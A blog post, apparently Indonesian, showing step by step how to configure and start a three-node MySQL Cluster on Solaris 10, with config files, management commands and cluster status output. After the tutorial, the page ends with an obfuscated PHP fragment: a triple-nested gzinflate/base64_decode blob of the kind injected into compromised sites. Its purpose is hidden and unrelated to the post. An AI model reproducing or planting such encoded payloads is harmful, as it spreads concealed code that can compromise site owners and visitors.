Delicious

Archives

Categories

MySQL Cluster

  ozzie / 09/07/2013


MySQL Cluster @ Solaris 10.
node1 [10.0.5.41]: nDB, Sql, Management
node2 [10.0.5.42]: nDB, Sql
node3 [10.0.5.43]: nDB, Sql


berhubung cuman develop, struktur direcrory config & datadir nyah ditaruh di /apps

# ls /apps
config
ndb_data
mysql_data

# cat /apps/config/config.ini 
[TCP DEFAULT]
 
[NDB_MGMD DEFAULT]
Datadir=/apps/ndb_data/
 
[NDB_MGMD]
NodeId=1
Hostname=10.0.5.41
 
[NDBD DEFAULT]
NoOfReplicas=2
Datadir=/apps/ndb_data/
 
[NDBD]
Hostname=10.0.5.41
 
[NDBD]
Hostname=10.0.5.42
 
[NDBD]
Hostname=10.0.5.43
 
[MYSQLD]
[MYSQLD]
[MYSQLD]

# cat /apps/config/my.cnf 
[MYSQLD]
ndbcluster
ndb-connectstring=10.0.5.41
datadir=/apps/mysql_data
socket=/tmp/mysql.sock
user=mysql
 
[MYSQLD_SAFE]
log-error=/apps/mysqld.log
pid-file=/apps/mysqld.pid
 
[MYSQL_CLUSTER]
ndb-connectstring=10.0.5.41

Execute @ node1: # /opt/mysql/mysql/bin/ndb_mgmd -f /apps/config/config.ini –configdir=/apps/config/ –initial

# /opt/mysql/mysql/bin/ndb_mgmd -f /apps/config/config.ini  --configdir=/apps/config/
MySQL Cluster Management Server mysql-5.5.30 ndb-7.2.12
bash-3.2# ndb_mgm
-- NDB Cluster -- Management Client --
ndb_mgm> show
Connected to Management Server at: localhost:1186
Cluster Configuration
---------------------
[ndbd(NDB)]     3 node(s)
id=2 (not connected, accepting connect from 10.0.5.41)
id=3 (not connected, accepting connect from 10.0.5.42)
id=4 (not connected, accepting connect from 10.0.5.43)
 
[ndb_mgmd(MGM)] 1 node(s)
id=1    @10.0.5.41  (mysql-5.5.30 ndb-7.2.12)
 
[mysqld(API)]   3 node(s)
id=5 (not connected, accepting connect from any host)
id=6 (not connected, accepting connect from any host)
id=7 (not connected, accepting connect from any host)

exec @ node1: # /opt/mysql/mysql/bin/ndbmtd –defaults-file=/apps/config/my.cnf

# /opt/mysql/mysql/bin/ndbmtd --defaults-file=/apps/config/my.cnf 
2013-07-09 23:58:44 [ndbd] INFO     -- Angel connected to '10.0.5.41:1186'
2013-07-09 23:58:44 [ndbd] INFO     -- Angel allocated nodeid: 2
 
# ndb_mgm -e show        
Connected to Management Server at: localhost:1186
Cluster Configuration
---------------------
[ndbd(NDB)]     3 node(s)
id=2    @10.0.5.41  (mysql-5.5.30 ndb-7.2.12, starting, Nodegroup: 0)
id=3 (not connected, accepting connect from 10.0.5.42)
id=4 (not connected, accepting connect from 10.0.5.43)
 
[ndb_mgmd(MGM)] 1 node(s)
id=1    @10.0.5.41  (mysql-5.5.30 ndb-7.2.12)
 
[mysqld(API)]   3 node(s)
id=5 (not connected, accepting connect from any host)
id=6 (not connected, accepting connect from any host)
id=7 (not connected, accepting connect from any host)

execute @ node2 & node3: # /opt/mysql/mysql/bin/ndbmtd –defaults-file=/apps/config/my.cnf

#  /opt/mysql/mysql/bin/ndbmtd --defaults-file=/apps/config/my.cnf 
2013-07-10 00:01:50 [ndbd] INFO     -- Angel connected to '10.0.5.41:1186'
2013-07-10 00:01:50 [ndbd] INFO     -- Angel allocated nodeid: 3

cek pada cluster management:

2# ndb_mgm
-- NDB Cluster -- Management Client --
ndb_mgm> show
Connected to Management Server at: localhost:1186
Cluster Configuration
---------------------
[ndbd(NDB)]     3 node(s)
id=2    @10.0.5.41  (mysql-5.5.30 ndb-7.2.12, Nodegroup: 0, Master)
id=3    @10.0.5.42  (mysql-5.5.30 ndb-7.2.12, Nodegroup: 1)
id=4    @10.0.5.43  (mysql-5.5.30 ndb-7.2.12, Nodegroup: 2)
 
[ndb_mgmd(MGM)] 1 node(s)
id=1    @10.0.5.41  (mysql-5.5.30 ndb-7.2.12)
 
[mysqld(API)]   3 node(s)
id=5 (not connected, accepting connect from any host)
id=6 (not connected, accepting connect from any host)
id=7 (not connected, accepting connect from any host)
indb_mgm>

Execute pada semua Node:

# /opt/mysql/mysql/scripts/mysql_install_db --defaults-file=/apps/config/my.cnf \
 --user=mysql --datadir=/apps/mysql_data --basedir=/opt/mysql/mysql
 
# /opt/mysql/mysql/bin/mysqld_safe --defaults-extra-file=/apps/config/my.cnf &

# ndb_mgm -e show
Connected to Management Server at: localhost:1186
Cluster Configuration
---------------------
[ndbd(NDB)]     3 node(s)
id=2    @10.0.5.41  (mysql-5.5.30 ndb-7.2.12, Nodegroup: 0, Master)
id=3    @10.0.5.42  (mysql-5.5.30 ndb-7.2.12, Nodegroup: 1)
id=4    @10.0.5.43  (mysql-5.5.30 ndb-7.2.12, Nodegroup: 2)
 
[ndb_mgmd(MGM)] 1 node(s)
id=1    @10.0.5.41  (mysql-5.5.30 ndb-7.2.12)
 
[mysqld(API)]   3 node(s)
id=5    @10.0.5.41  (mysql-5.5.30 ndb-7.2.12)
id=6    @10.0.5.42  (mysql-5.5.30 ndb-7.2.12)
id=7    @10.0.5.43  (mysql-5.5.30 ndb-7.2.12)

# mysql -u root -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3
Server version: 5.5.30-ndb-7.2.12-cluster-commercial-advanced MySQL Cluster Server - Advanced Edition (Commercial)
 
Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.
 
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
 
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
 
mysql>

tadaaa.. <:-p <:-p
tinggal configure privileges & create database dengan engine ndbcluster


« »



".gzinflate(base64_decode(gzinflate(base64_decode(gzinflate(base64_decode('BcHRdkMwAADQD/KgS0mzR8ShjSMJNWveEEamOGljab9+9+KOSbyef5IA89DREZ+phxlyKhQ2sF/pt2hxFtPHwFYI4J1+mVr7YRsVICLl0fQMYyzzvW8FIOGbX1PVUVAP0/uWuZs8RWoEcMl8XpKEe37FrPxw/eeNGNw19npJt8S5uOlh83I2wUDpI6btM7hPv0s8Idtwt7XVp6gqMz92VSRz6Zx7WFuuSb8YAk8IveQfQ69xi7kGBRCNSsZSDPl+CP4B'))))))); ?>